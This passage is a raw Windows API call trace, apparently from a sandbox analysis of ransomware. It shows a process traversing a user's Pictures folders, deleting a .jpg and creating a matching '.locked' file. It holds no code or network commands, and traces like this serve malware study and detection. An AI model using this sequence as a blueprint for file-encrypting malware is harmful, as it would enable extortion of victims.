"c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw")) returned 0x10 [0135.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw")) returned 0x10 [0135.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW", lpFilePart=0x0) returned 0x56 [0135.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW", lpFilePart=0x0) returned 0x56 [0135.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 0x20 [0135.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg\\", lpFilePart=0x0) returned 0x65 [0135.149] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.149] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.149] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.149] CoTaskMemFree (pv=0x8eb8930) [0135.150] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 0x20 [0135.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg"), fInfoLevelId=0x0, lpFileInformation=0x6ab24d8 | out: lpFileInformation=0x6ab24d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x894c1620, ftCreationTime.dwHighDateTime=0x1d4a587, ftLastAccessTime.dwLowDateTime=0x7710a310, ftLastAccessTime.dwHighDateTime=0x1d4a576, ftLastWriteTime.dwLowDateTime=0x7710a310, ftLastWriteTime.dwHighDateTime=0x1d4a576, nFileSizeHigh=0x0, nFileSizeLow=0x11b34)) returned 1 [0135.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.151] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 1 [0135.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.153] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.153] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.153] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.154] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg.locked")) returned 0x20 [0135.154] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg.locked")) returned 0x20 [0135.154] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", lpFilePart=0x0) returned 0x6b [0135.154] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", lpFilePart=0x0) returned 0x6b [0135.154] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.154] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.154] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.154] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.154] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.155] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.155] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0135.155] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.155] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.155] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.156] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.156] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.156] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.157] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.157] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.158] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.158] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.158] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.159] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.159] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.159] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.159] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.160] EtwEventActivityIdControl (in: 